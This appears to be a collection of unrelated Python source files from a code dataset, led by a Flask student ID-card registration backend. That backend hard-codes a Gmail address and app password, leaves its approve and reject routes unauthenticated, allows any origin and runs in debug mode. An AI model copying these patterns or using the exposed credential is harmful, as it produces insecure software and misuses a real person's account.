get all students details from the database where status is rejected\ndef get_rejected_students():\n db = get_db()\n cur = db.execute(\"SELECT * FROM students WHERE status = 'rejected'\")\n return cur.fetchall()\n\n\n# check if the student id is already in the database\ndef check_student_id(studentId):\n db = get_db()\n cur = db.execute(\"SELECT * FROM students WHERE studentId = ?\", (studentId,)).fetchone()\n db.close()\n if cur:\n return True\n \n\n# get student details from the database where the student id is equal to the student id\ndef get_student(studentId):\n db = get_db()\n cur = db.execute(\"SELECT * FROM students WHERE studentId = ?\", (studentId,))\n return cur.fetchone()\n\ndef update_status(studentId: str, status: str) -> None:\n db = get_db()\n cur = db.execute(\"UPDATE students SET status = ? WHERE studentId = ?\", (status, studentId))\n db.commit()\n\ndef check_student_id_exists(studentId, cursor):\n return list(cursor.execute(\"SELECT * FROM students WHERE studentId = ?\", (studentId,)))\n \n\n# add student details to the database\ndef add_student(name: str, studentId: str, mobile: str, email: str, blood: str, filename: str, idProof: str, allotment: str, memo: str) -> None:\n db = get_db()\n status = check_student_id_exists(studentId, db.cursor())\n if (status):\n if status[0].status == \"rejected\": \n db.execute(\"INSERT INTO students (name, studentId, mobile, email, blood, profileImageName, IdProofImage, allotmentImage, memoImage) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?)\", (name, studentId, mobile, email, blood, filename, idProof, allotment, memo))\n db.commit()\n db.close()\n update_status(studentId, 'pending')\n return \n db.execute(\"INSERT INTO students (name, studentId, mobile, email, blood,profileImageName, idProofImage,allotmentImage, memoImage) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?)\", (name, studentId, mobile, email, blood, filename, idProof, allotment, memo))\n db.commit()\n\n\ndef update_reason(studentId: str, reason: str) -> None:\n db = get_db()\n cur = db.execute(\"UPDATE students SET reason = ? WHERE studentId = ?\", (reason, studentId))\n db.commit()\n\n\n\n# function to create a fake user for testing purposes\n# username : test and password : test\ndef create_fake_user():\n db = get_db()\n db.execute(\"INSERT INTO users (username, password) VALUES (?, ?)\", (\"test\", \"test\"))\n db.commit()\n\n@app.route(\"/login\", methods=[\"POST\", \"OPTIONS\"])\ndef login():\n\n # if request is for options, return 200\n if request.method == \"OPTIONS\":\n # set headers to allow cross origin resource sharing\n # set Access-Control-Allow-Headers to allow the header to be sent\n response = jsonify({'message': 'OK'})\n response.headers.add('Access-Control-Allow-Origin', '*')\n response.headers.add('Access-Control-Allow-Headers', 'Content-Type,Authorization')\n return response\n \n \n if not request.is_json:\n response = jsonify({\"msg\": \"Missing JSON in request\"})\n response.headers.add(\"Access-Control-Allow-Origin\", \"*\")\n return response, 400\n \n \n username = request.json.get(\"username\", None)\n password = request.json.get(\"password\", None)\n\n \n user_id = check_user(username, password)\n if not user_id:\n response = jsonify({\"msg\": \"Bad username or password\"})\n response.headers.add(\"Access-Control-Allow-Origin\", \"*\")\n return response, 401 \n \n access_token = create_access_token(identity=user_id)\n response = jsonify({\"access_token\":access_token})\n response.headers.add(\"Access-Control-Allow-Origin\", \"*\")\n return response, 200\n \n\n@app.route(\"/files/\")\ndef get_file(img_name: str):\n \"\"\"Download a file.\"\"\"\n UPLOAD_DIRECTORY = app.config['UPLOAD_PATH']\n resp = send_from_directory(UPLOAD_DIRECTORY, img_name, as_attachment=True)\n resp.headers.add(\"Access-Control-Allow-Origin\", \"*\")\n resp.headers.add(\"Access-Control-Allow-Headers\", \"Content-Type,Authorization\")\n return resp\n \n@app.route(\"/dashboard\", methods=[\"GET\", \"OPTIONS\"])\n@jwt_required()\ndef dashboard():\n # if request is for options, return 200\n if request.method == \"OPTIONS\":\n # set headers to allow cross origin resource sharing\n # set Access-Control-Allow-Headers to allow the header to be sent\n response = jsonify({'message': 'OK'})\n response.headers.add('Access-Control-Allow-Origin', '*')\n response.headers.add('Access-Control-Allow-Headers', 'Content-Type,Authorization')\n return response\n \n # get all the accepted, pending and rejected students\n # format {accepted: [], pending: [], rejected: []}\n accepeted = get_approved_students()\n pending = get_pending_students()\n rejected = get_rejected_students()\n img_url = \"http://localhost:5000/files/\"\n # update the profileImageName key in accepted, pending and rejected students\n \n \n accepeted = [{**student, \"profileImageName\": img_url + student[\"profileImageName\"], \"memo\": img_url + student[\"memoImage\"], \"allotment\": student[\"allotmentImage\"], \"proof\": student[\"IdProofImage\"]} for student in accepeted]\n pending = [{**student, \"profileImageName\": img_url + student[\"profileImageName\"],\"memo\": img_url + student[\"memoImage\"], \"allotment\": img_url + student[\"allotmentImage\"], \"proof\": img_url + student[\"IdProofImage\"]} for student in pending]\n rejected = [{**student, \"profileImageName\": img_url + student[\"profileImageName\"]} for student in rejected]\n print(pending)\n students = {\n \"accepted\": accepeted,\n \"pending\": pending,\n \"rejected\": rejected\n }\n \n response = jsonify(students)\n response.headers.add(\"Access-Control-Allow-Origin\", \"*\")\n \n # return the students in the format \n return response, 200\n\n\n\n# create a new student route\n# get all the details from the request\n@app.route(\"/student\", methods=[\"POST\"])\ndef create_student():\n # get the data from the form and store it in variables (name, studentId, mobile, email, blood)\n name = request.form.get(\"name\", None)\n student_id = request.form.get(\"id\", \"0000\")\n email_id = request.form.get(\"email\", None)\n blood = request.form.get(\"blood_group\", None)\n mobile = request.form.get(\"mobile\", None)\n # check if the student id is already in the database\n \n if check_student_id(student_id):\n response = jsonify({\"msg\": \"Student id already exists\"})\n response.headers.add('Access-Control-Allow-Origin', '*')\n return response, 400\n \n # get the file from the form and save it in a folder\n print(request.files)\n uploaded_file = request.files['profile-image']\n id_proof = request.files[\"id-proof\"]\n allotment_order = request.files[\"allotment-order\"]\n memo = request.files[\"10-memo\"]\n \n profile_filename = student_id + \"_profile_.\" + uploaded_file.filename.split(\".\")[-1]\n idProof_filename = student_id + \"_idproof_.\" + id_proof.filename.split(\".\")[-1]\n allotment_filename = student_id + \"_allOrder_.\" + allotment_order.filename.split(\".\")[-1]\n memo_filename = student_id + \"_memo_.\" + memo.filename.split(\".\")[-1]\n \n \n uploaded_file.save(os.path.join(app.config['UPLOAD_PATH'], profile_filename))\n id_proof.save(os.path.join(app.config['UPLOAD_PATH'], idProof_filename))\n allotment_order.save(os.path.join(app.config['UPLOAD_PATH'], allotment_filename))\n memo.save(os.path.join(app.config['UPLOAD_PATH'], memo_filename))\n\n\n # check if details are valid\n if not student_id or not name or not blood or not mobile or not email_id:\n print(student_id, name, blood, mobile, email_id)\n return jsonify({\"msg\": \"Please provide all the details\"}), 400\n \n \n # add the student to the database\n add_student(name, student_id, mobile, email_id, blood, profile_filename, idProof_filename, allotment_filename, memo_filename)\n response = jsonify({\"msg\": \"Added Successfully\"})\n response.headers.add('Access-Control-Allow-Origin', '*')\n return response, 200\n\n# approve student idCard\n@app.route(\"/approve/\", methods=[\"GET\", \"OPTIONS\"])\ndef approve_student_status(student_id: str):\n if request.method == \"OPTIONS\":\n # set headers to allow cross origin resource sharing\n # set Access-Control-Allow-Headers to allow the header to be sent\n response = jsonify({'message': 'OK'})\n response.headers.add('Access-Control-Allow-Origin', '*')\n response.headers.add('Access-Control-Allow-Headers', 'Content-Type,Authorization')\n return response\n \n status = \"accepted\"\n update_status(student_id, status)\n student = get_student(student_id)\n send_mail(status, student_id,student[\"name\"], student[\"email\"])\n response = jsonify({\"msg\": \"Students Status Updated\"})\n response.headers.add('Access-Control-Allow-Origin', '*')\n return response, 200\n\n\n@app.route(\"/reject/\", methods=[\"GET\", \"OPTIONS\"])\ndef reject_student_status(student_id: str):\n if request.method == \"OPTIONS\":\n # set headers to allow cross origin resource sharing\n # set Access-Control-Allow-Headers to allow the header to be sent\n response = jsonify({'message': 'OK'})\n response.headers.add('Access-Control-Allow-Origin', '*')\n response.headers.add('Access-Control-Allow-Headers', 'Content-Type,Authorization')\n return response\n\n reason = request.args.get(\"reason\", None)\n status = \"rejected\"\n update_status(student_id, status)\n student = get_student(student_id)\n update_reason(student_id, reason)\n send_mail(status, student_id,student[\"name\"], student[\"email\"], reason)\n response = jsonify({\"msg\": \"Students Status Updated\"})\n response.headers.add('Access-Control-Allow-Origin', '*')\n response.headers.add('Access-Control-Allow-Headers', 'Content-Type,Authorization')\n return response, 200\n \n \n@app.route(\"/idcard/\", methods=[\"GET\", \"OPTIONS\"])\ndef get_id_card(student_id: str):\n if request.method == \"OPTIONS\":\n # set headers to allow cross origin resource sharing\n # set Access-Control-Allow-Headers to allow the header to be sent\n response = jsonify({'message': 'OK'})\n response.headers.add('Access-Control-Allow-Origin', '*')\n response.headers.add('Access-Control-Allow-Headers', 'Content-Type,Authorization')\n return response\n student = get_student(student_id)\n response = jsonify(student)\n response.headers.add('Access-Control-Allow-Origin', '*')\n response.headers.add('Access-Control-Allow-Headers', 'Content-Type,Authorization')\n return response, 200\n \n\ndef send_mail(status : str, student_id: str, name: str, email_: str, reason: str = \"\"):\n from_ = \"vijaysaivamsi0@gmail.com\"\n to = email_\n pwd = \"pkzjvabbclcfoqtm\"\n if status == \"accepted\":\n subject = \"Your ID Card has been approved\"\n body = \"Dear \" + name + \",\\n\\nYour ID Card has been approved.\\n\\nRegards,\\n\\nSVIT.\\nYou can download your ID Card from the link below.\\n\\nhttp://localhost:3000/idcard/\" + student_id\n else:\n subject = \"Your ID Card has been rejected\"\n body = \"Dear \" + name + f\",\\n\\nYour ID Card has been rejected.\\n\\nRegards,\\n\\nSVIT.\\nReason: {reason}\"\n \n message = \"Subject: {}\\n\\n{}\".format(subject, body)\n \n # connect to the server\n conn = smtplib.SMTP('smtp.gmail.com', 587)\n \n # start TLS for security\n conn.starttls()\n \n # login to the server\n conn.login(from_, pwd)\n \n # send the mail\n conn.sendmail(from_, to, message)\n \n # close the connection\n conn.close()\n\n\nif __name__ == \"__main__\":\n app.run(debug=True)\n # create_fake_user()","repo_name":"arunsaji13march/studentRegistrationBackend","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":13946,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"20"} +{"seq_id":"73547617328","text":"#!/usr/bin/python3\n\"\"\" POST an email #1 \"\"\"\nimport requests\nimport sys\n\n\nif __name__ == \"__main__\":\n url = sys.argv[1]\n email = sys.argv[2]\n data_post = {'email': email}\n req = requests.post(url, data=data_post)\n print(req.text)\n","repo_name":"danielcinome/holbertonschool-higher_level_programming","sub_path":"0x11-python-network_1/6-post_email.py","file_name":"6-post_email.py","file_ext":"py","file_size_in_byte":244,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"70281598771","text":"# -*- coding: utf-8 -*-\n\"\"\"CMS views.\"\"\"\nfrom flask import Blueprint, abort, make_response, redirect, url_for\n\nfrom shop.cms.models import Article, ArticleCategory\nfrom shop.utils import render_theme_template as render_template\n\nblueprint = Blueprint(\n 'pages', __name__,\n url_prefix='/pages', static_folder='../static'\n)\n\n\n@blueprint.route('/')\ndef pages_root():\n \"\"\"\n Redirect page root to the home page.\n \"\"\"\n return redirect(url_for('public.home'))\n\n\n@blueprint.route('/')\ndef page(uri):\n \"\"\"\n Render a page\n \"\"\"\n article = Article.query.filter_by(uri=uri).first()\n if article:\n return render_template('cms/page.html', article=article)\n return abort(404)\n\n\n@blueprint.route('/category/')\ndef category(uri):\n \"\"\"\n Render a category\n \"\"\"\n category = ArticleCategory.query.filter_by(unique_name=uri).first()\n return render_template('cms/category.html', category=category)\n\n\n@blueprint.route('/sitemap-index.xml')\ndef render_xml_sitemap():\n \"\"\"\n Returns a Sitemap Index Page\n \"\"\"\n articles = Article.query.filter_by_domain(\n [('state', '=', 'published')]\n ).all()\n nodes = []\n for article in articles:\n nodes.append(\n {\n 'url_data': article.get_absolute_url(_external=True),\n 'lastmod': article.published_on\n }\n )\n\n sitemap_xml = render_template('cms/sitemap.xml', nodes=nodes)\n response = make_response(sitemap_xml)\n response.headers[\"Content-Type\"] = \"application/xml\"\n\n return response\n\n\n@blueprint.route('/sitemap-.xml')\ndef sitemap(page):\n \"\"\"\n Returns a specific page of the sitemap\n \"\"\"\n return __doc__\n","repo_name":"joeirimpan/shop-fork","sub_path":"shop/cms/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1707,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"25686721614","text":"class Trajectory:\n def __init__(self, vx, vy, b):\n self.x = 0\n self.y = 0\n self.vx = vx\n self.vy = vy\n self.bounds = b\n self.height = 0\n\n def step(self):\n self.x += self.vx\n if self.vx != 0:\n self.vx = self.vx * (1 - 1 / abs(self.vx))\n\n self.y += self.vy\n self.vy -= 1\n\n self.height = max(self.height, self.y)\n return self.check_bounds()\n\n def check_bounds(self):\n if (\n self.bounds[\"x\"][0] <= self.x <= self.bounds[\"x\"][1]\n and self.bounds[\"y\"][0] <= self.y <= self.bounds[\"y\"][1]\n ):\n return 1\n elif self.bounds[\"x\"][1] < self.x or self.bounds[\"y\"][0] > self.y:\n return -1\n else:\n return 0\n\n\nif __name__ == \"__main__\":\n bounds = {\"x\": [277, 318], \"y\": [-92, -53]}\n\n # There are some natural bounds vx must be less than the minimum x bound and greater than\n max_height = 0\n count = 0\n for vx in range(1, bounds[\"x\"][1] + 1):\n for vy in range(bounds[\"y\"][0], 1000):\n path = Trajectory(vx, vy, bounds)\n for step in range(10000):\n result = path.step()\n if result < 0:\n break\n elif result == 1:\n max_height = max(max_height, path.height)\n count += 1\n break\n print(f\"Maximum reachable height: {max_height}\")\n print(f\"Count of correct initial trajectories: {count}\")\n","repo_name":"ostanley/aoc2020","sub_path":"2021/Day17/Day17.py","file_name":"Day17.py","file_ext":"py","file_size_in_byte":1520,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"31665324718","text":"import concurrent.futures\nimport threading\nimport time\n\nimport requests\nfrom bs4 import BeautifulSoup as bs\n\n\"\"\"\nDocumentation website\nhttps://www.crummy.com/software/BeautifulSoup/bs4/doc/\n\n\"\"\"\n\"\"\"\n \n MAIN CONTENT CLASS \n class = main-info col-sm-4\n BUSINESS NAME\n class = 'block-title'\n ADDRESS\n itemprop=\"address\"\n NUMBER\n class=\"box-ico phone-i\"\n \n EXTRAS\n class = description\n class = main-tags (wrapped in href)\n class = secondary-tags (wrapped in href)\n\n\"\"\"\n\n\nclass BusinessSearch:\n def __init__(self, category):\n self.search_page = 'https://www.bermudayp.com/businesses/search/'\n self.category = category\n print(f'Running {self.category.capitalize()} Search')\n\n self.business_ids = []\n self.hits = 0\n self.pages = 0\n self.setup()\n\n def setup(self):\n self.hit_search()\n self.grab_business_ids()\n\n def hit_search(self):\n\n url = f'{self.search_page}1/{self.category}'\n # load webpage content\n r = requests.get(url)\n soup = bs(r.content, features='html.parser')\n self.hits = int(soup.find('div', attrs={'class': 'results'}).span.string)\n self.page_count(self.hits)\n\n def page_count(self, hits):\n '''\n Input Hits\n :param hits:\n :return:\n '''\n self.pages = hits/10\n if not isinstance(self.pages, int):\n self.pages = int(self.pages) + 1\n else:\n\n return\n\n def grab_business_ids(self):\n temp_id = []\n\n def get_ids(content):\n soup = bs(content, features='html.parser')\n business_collect = soup.select('div[data-listing-id]')\n for id in business_collect:\n # print('gotten')\n temp_id.append(int(id['data-listing-id']))\n\n def get_session():\n if not hasattr(thread_local, \"session\"):\n\n thread_local.session = requests.Session()\n return thread_local.session\n\n def download_site(url):\n session = get_session()\n\n with session.get(url) as response:\n # print(f\"Read {round((len(response.content)/1024)/2)} mb from {url}\")\n get_ids(response.content)\n\n def download_all_sites(sites):\n with concurrent.futures.ThreadPoolExecutor(max_workers=self.pages) as executor:\n executor.map(download_site, sites)\n\n thread_local = threading.local()\n sites = [f'{self.search_page}{page}/{self.category}' for page in range(1, self.pages + 1)]\n start_time = time.time()\n download_all_sites(sites)\n self.business_ids = temp_id\n\n duration = time.time() - start_time\n print(f\"Downloaded {len(sites)} Pages of {self.category.capitalize()} in {round(duration, 2)} seconds\")\n print(f'Num of Ids: {len(self.business_ids)} recieved')\n\n\nif __name__ == '__main__':\n construction = BusinessSearch('construction')\n cars = BusinessSearch('cars')\n newlist = [construction.business_ids + cars.business_ids]\n # print(len(construction.business_ids))\n # print(len(cars.business_ids))\n\n print(len(newlist))\n","repo_name":"jacinlowe/yellowpages_scraper","sub_path":"Test_Tutorials/webscraping/Bermuda yellowpages scraper/initial_id_grab.py","file_name":"initial_id_grab.py","file_ext":"py","file_size_in_byte":3175,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"72676202290","text":"from __future__ import print_function\nimport unittest\nimport os\nimport getpass\nimport json\n\n# import splunklib.client as client\n# import splunklib.results as results\nfrom nose.tools import set_trace\n\nimport requests\nfrom httmock import (\n all_requests, response, urlmatch, HTTMock\n)\n\nimport scape.registry\nimport scape.splunk\nimport scape.splunklite as splunk\n\nimport mock_splunk\n\n# class FakeJobs(object):\n# def create(self, query, **kwargs):\n# return []\n\n# class FakeSplunk(object):\n# @property\n# def jobs(self):\n# return FakeJobs()\n# pass\n\n\nclass TestScapeSplunk(unittest.TestCase):\n def setUp(self):\n self.host = mock_splunk.SplunkHost(\n host='localhost',\n port=8089,\n username='admin',\n password='password1!',\n )\n self.service = self.host.service()\n\n def test_splunk_registry(self):\n reg = scape.registry.Registry({\n 'addc': scape.splunk.SplunkDataSource(\n splunk_service=self.service,\n metadata=scape.registry.TableMetadata({\n 'Source_Network_Address': {\n 'tags' : [ 'source'],\n 'dim': 'ip',\n },\n 'Source_Port': {\n 'tags' : [ 'source'],\n 'dim': 'port',\n },\n 'host': 'hostname:'\n }),\n index='addc',\n description=\"Test data source\")\n })\n\n try:\n addc=reg['addc']\n with HTTMock(self.host.job_create_200, self.host.job_attr_200,\n self.host.addc_results_200, self.host.control_200):\n for i,row in enumerate(addc.select('*').run().iter()):\n self.assertTrue(row['host'].startswith('host'))\n except KeyboardInterrupt as err:\n set_trace()\n \n # def test_select():\n # addc.select('*').run()\n # addc.select(max_count=40).check()\n","repo_name":"mit-ll/SCAPE","sub_path":"tests/splunk_test.py","file_name":"splunk_test.py","file_ext":"py","file_size_in_byte":2040,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"20"} +{"seq_id":"28734739097","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Feb 9 22:03:44 2018\n\n@author: noch\n\"\"\"\n\nimport pandas as pd\nfrom data_prepared import read_data, prepare_data_div\nfrom regression import logistic_regression, test_with_id, predict\nfrom sklearn.linear_model import LogisticRegression\n\ni = 0 # for the 1st dataset\nf= open(\"/Users/noch/Documents/workspace/data_challenge/result/Y/Yte_skl_lg_\"+str(i)+\".csv\",\"a+\") \n\n#i = 1 # for the 2nd dataset\n#f = open(\"/home/jibril/Desktop/data_challenge/result/Yte_lg_\"+str(i)+\".csv\",\"a+\") \n \nisTr = 1\nprint(\"\\n testing on Xtr\" +str(i)+ \", Ytr\" +str(i))\nXtr = read_data(\"Xtr\"+str(i), isTr)\nYtr = read_data(\"Ytr\"+str(i), isTr)\n\nisTr = 0\nXte = read_data(\"Xte\"+str(i), isTr)\nXte['Id'] = pd.DataFrame({'Id':range(i*1000, (i+1) * 1000)})\n\nnm_char = 6\n\nprint(\"preparing data..\")\nXtr_p = prepare_data_div(Xtr, nm_char)\nXtr_p['Bound'] = Ytr['Bound']\n\nXte_p = prepare_data_div(pd.DataFrame(Xte['DNA']), nm_char)\n\n\nX_tr = pd.DataFrame.as_matrix(Xtr_p.iloc[:,:-1])\nY_tr = pd.DataFrame.as_matrix(Xtr_p['Bound']).astype(float).tolist()\n\n\nprint(\"training logistic regression..\")\n\nLogisticRegression(fit_intercept=True, C = 1e15)\nclf = LogisticRegression()\nclf.fit(X_tr, Y_tr) \n\nprint(\"predicting the test set..\")\n \nresult = clf.predict(X_tr)\n\n \ns = \"\"\nfor i, row in result.iterrows():\n s = s + str(int(Xte['Id'][i])) + \",\" + str(int(row)) + \"\\n\"\nf.write(s)\n\nprint(\"finish!\")\n\nf.close()","repo_name":"CrystalSNS/my_data","sub_path":"sklearn_LG.py","file_name":"sklearn_LG.py","file_ext":"py","file_size_in_byte":1438,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"73734235250","text":"\"\"\"Solution to the provided task.\n\nTo run:\n python solution.py vlans.csv requests.csv output.csv\n\n\"\"\"\n\nimport csv\nimport argparse\n\nNODE_DUMP = \"VLAN: %s, devices: \\n %s\"\nOUTPUT_MODE = \"w\"\nNEWLINE = \"\\n\"\nDELIMITER = \",\"\n\nVLAN_ID_HEADER = \"vlan_id\"\nPRIMARY_PORT_HEADER = \"primary_port\"\nDEVICE_ID_HEADER = \"device_id\"\nREDUNDANCY_HEADER = \"redundant\"\nREQUEST_ID_HEADER = \"request_id\"\n\nPRIMARY_PORT = 1\nSECONDARY_PORT = 0\n\nOUTPUT_HEADER = [REQUEST_ID_HEADER, DEVICE_ID_HEADER,\n PRIMARY_PORT_HEADER, VLAN_ID_HEADER]\n\n\nclass Device:\n \"\"\"Class to hold device parameters.\"\"\"\n def __init__(self, value, has_primary=False, has_secondary=False):\n self.value = value\n self.has_primary = has_primary\n self.has_secondary = has_secondary\n\n def __str__(self):\n return (\"d_id: %s, has_p: %s, has_s: %s\" % (\n str(self.value), str(self.has_primary), str(self.has_secondary)))\n\n\nclass VlanNode:\n \"\"\"Class to hold VLAN port parameters.\"\"\"\n def __init__(self, value):\n self.value = value\n self.devices = []\n self.next = None\n\n def __str__(self):\n return (NODE_DUMP % (str(self.value), str([str(d) for d in self.devices])))\n\n\ndef ParseDictToOrderedList(dict):\n \"\"\"Turns the dictionary object into a list of VlanNode objects.\n \n The function sorts all VlanNodes and Devices in each VlanNode by their value.\n \n Args:\n dict: dictionary, mapping of vlans to devices and available ports, e.g.:\n {\n 123: {\n 7: {\n 'has_primary': True,\n 'has_secondary': True\n },\n 4: {\n 'has_primary': True,\n 'has_secondary': None\n },\n }\n }\n Returns:\n list of VlanNodes, sorted. E.g.\n \n [VlanNode(id: 123,\n devices: Device(4, has_primary:True, has_secondary:None),\n Device(7, has_primary:True, has_secondary:True))]\n \"\"\"\n vlist = []\n for vlan, devices in dict.items():\n node = VlanNode(vlan)\n for id, ports in devices.items():\n device = Device(id,\n ports.get(\"has_primary\", False),\n ports.get(\"has_secondary\", False))\n node.devices.append(device)\n vlist.append(node)\n \n vlist.sort(key=lambda x: x.value)\n for v in vlist:\n v.devices.sort(key=lambda x: x.value)\n return vlist\n\n\ndef CreateVlanListFromFile(reader):\n \"\"\"Creates a list of VlanNodes from the provided CSV file.\n \n Args:\n reader: reader iterator for file with devices and their\n available ports.\n \n Returns:\n list of VlanNodes ordered by node value.\n \"\"\"\n dict = {}\n for row in reader:\n try:\n vlan_id = int(row[VLAN_ID_HEADER])\n primary_port = int(row[PRIMARY_PORT_HEADER])\n device_id = int(row[DEVICE_ID_HEADER])\n except ValueError as e:\n print(e)\n \n if vlan_id not in dict:\n dict[vlan_id] = {}\n if device_id not in dict[vlan_id]:\n dict[vlan_id][device_id] = {}\n if bool(primary_port):\n dict[vlan_id][device_id][\"has_primary\"] = True\n else:\n dict[vlan_id][device_id][\"has_secondary\"] = True\n \n return ParseDictToOrderedList(dict)\n\n\ndef ProcessRequests(reader, vlans):\n \"\"\"Reserves vlans and devices.\n \n Args:\n reader: Reader object for file with requests.\n vlans: vlans available before any requests are made\n \n Returns:\n list of reserved Vlans and Devices if the following format:\n [[request_id, device_id, primary_port, vlan_id]]\n \"\"\"\n reservations = []\n for row in reader:\n if not vlans:\n print(\"No more available devices to process requests farther then request id: \",\n row[REQUEST_ID_HEADER])\n break\n if not int(row[REDUNDANCY_HEADER]):\n device_id, vlan_id = Reserve(vlans, False)\n reservations.append([row[REQUEST_ID_HEADER], device_id, PRIMARY_PORT, vlan_id])\n else:\n device_id, vlan_id = Reserve(vlans, True)\n reservations.append([row[REQUEST_ID_HEADER], device_id, SECONDARY_PORT, vlan_id])\n reservations.append([row[REQUEST_ID_HEADER], device_id, PRIMARY_PORT, vlan_id])\n return reservations\n\n\ndef Reserve(vlans, redundant):\n \"\"\"Gets Vlan and Device ID that can be reserved.\n \n This function also removes ports that are no longer eligible for reservation.\n \n Args:\n vlans: list of VlanNodes with Device objects.\n \n Returns:\n tuple of device_id, vlan_id\n \"\"\"\n if not vlans:\n return \n for iv, vlan in enumerate(vlans):\n for id, device in enumerate(vlan.devices):\n eligible = False\n to_remove = []\n if redundant and device.has_primary and device.has_secondary:\n del(vlans[iv].devices[id])\n eligible = True\n if not redundant and device.has_primary:\n vlans[iv].devices = vlan.devices[id+1:]\n eligible = True\n if not device.has_primary:\n to_remove.append(id)\n if eligible:\n if len(vlans[iv].devices ) == 0:\n del(vlans[iv])\n return device.value, vlan.value\n\n\ndef main(vlans_path, requests_path, output_path):\n vlans = None\n with open(vlans_path, newline=NEWLINE) as f:\n reader = csv.DictReader(f, delimiter=DELIMITER)\n vlans = CreateVlanListFromFile(reader)\\\n\n reservations = None\n with open(requests_path, newline=NEWLINE) as f:\n reader = csv.DictReader(f, delimiter=DELIMITER)\n reservations = ProcessRequests(reader, vlans)\n if not reservations:\n print(\"Failed to reserve ports.\")\n return\n\n with open(output_path, OUTPUT_MODE) as f:\n writer = csv.writer(f)\n writer.writerow(OUTPUT_HEADER)\n writer.writerows(reservations)\n\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser(\n description=\"Process data with specified parameters.\")\n parser.add_argument(\"vlans\")\n parser.add_argument(\"requests\")\n parser.add_argument(\"output\")\n argv = parser.parse_args()\n main(argv.vlans, argv.requests, argv.output)\n","repo_name":"leeloodub/assign_vlans","sub_path":"solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":6556,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"1001019325","text":"n = int(input())\r\narr = [int(x) for x in input().split()]\r\nd,m = map(int,input().split())\r\ncount = 0\r\nfor i in range(0,n-m+1):\r\n tmp = 0\r\n for j in range(i,i+m):\r\n tmp +=arr[j]\r\n if tmp == d:\r\n count+=1\r\nprint(count)\r\n","repo_name":"Aakashbansal837/python","sub_path":"Birthday Chocolate.py","file_name":"Birthday Chocolate.py","file_ext":"py","file_size_in_byte":241,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"4276527420","text":"import os\nimport time\n\nfrom scipy.sparse.linalg.dsolve import linsolve\nfrom scipy.sparse import coo_matrix, csc_matrix, csr_matrix, linalg as sla\n\nimport numpy as np\nimport numpy.linalg as LA\n\nfrom matplotlib import cm\nimport matplotlib.pyplot as plt\nimport matplotlib.tri as mtri\n\nfrom mediapack import Air\n\nfrom pyPLANES.classes.entity_classes import *\nfrom pyPLANES.utils.utils_io import initialisation_out_files_plain, close_out_files, display_sol\n\nclass Model():\n def __init__(self, **kwargs):\n self.plot = kwargs.get(\"plot_results\", [False]*6)\n pass\n\n def extend_AF(self, _A_i, _A_j, _A_v, _F_i, _F_v):\n self.A_i.extend(_A_i)\n self.A_j.extend(_A_j)\n self.A_v.extend(_A_v)\n self.F_i.extend(_F_i)\n self.F_v.extend(_F_v)\n\n def extend_F(self, _F_i, _F_v):\n self.F_i.extend(_F_i)\n self.F_v.extend(_F_v)\n\n def extend_A(self, _A_i, _A_j, _A_v):\n self.A_i.extend(_A_i)\n self.A_j.extend(_A_j)\n self.A_v.extend(_A_v)\n\n def extend_A_F_from_coo(self, AF):\n self.A_i.extend(list(AF[0].row))\n self.A_j.extend(list(AF[0].col))\n self.A_v.extend(list(AF[0].data))\n # print(\"extend_A_F_from_coo\")\n # print(AF[1])\n # print(AF[1].row)\n self.F_i.extend(list(AF[1].row))\n self.F_v.extend(list(AF[1].data))\n # print(\"self.F_i={}\".format(self.F_i))\n\n def extend_AT(self, _A_i, _A_j, _A_v, _T_i, _T_j, _T_v):\n self.A_i.extend(_A_i)\n self.A_j.extend(_A_j)\n self.A_v.extend(_A_v)\n self.T_i.extend(_T_i)\n self.T_j.extend(_T_j)\n self.T_v.extend(_T_v)\n\n def linear_system_2_numpy(self):\n self.F_i = np.array(self.F_i)\n self.F_v = np.array(self.F_v, dtype=complex)\n self.A_i = np.array(self.A_i)\n self.A_j = np.array(self.A_j)\n self.A_v = np.array(self.A_v, dtype=complex)\n self.T_i = np.array(self.T_i)-self.nb_dof_master\n self.T_j = np.array(self.T_j)\n self.T_v = np.array(self.T_v, dtype=complex)\n\n def write_out_files(self):\n pass\n\n def create_linear_system(self, f):\n if self.verbose:\n print(\"Creation of the linear system for f={}\".format(f))\n self.update_frequency(f)\n\n def initialisation_out_files(self):\n initialisation_out_files_plain(self)\n self.start_time = time.time()\n\n def close_out_files(self):\n close_out_files(self)\n\n def resolution(self):\n if self.verbose:\n print(\"%%%%%%%%%%%%% Resolution of PLANES %%%%%%%%%%%%%%%%%\")\n for f in self.frequencies:\n self.create_linear_system(f)\n out = self.solve()\n self.write_out_files()\n # if self.verbose:\n # print(\"|R pyPLANES_FEM| = {}\".format(self.modulus_reflex))\n # print(\"|abs pyPLANES_FEM| = {}\".format(self.abs))\n if any(self.plot):\n display_sol(self)\n self.close_out_files()\n\n return out\n\n\n\n\n","repo_name":"OlivierDAZEL/pyPLANES","sub_path":"pyPLANES/classes/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":3005,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"29220614881","text":"import sys\nsys.stdin = open('0_1.txt', 'r')\nnum = int(input())\nnew = [] # 100 x 100 행렬\nfor i in range(100):\n ladder = list(map(int,input().split()))\n new.append(ladder)\nif 2 in 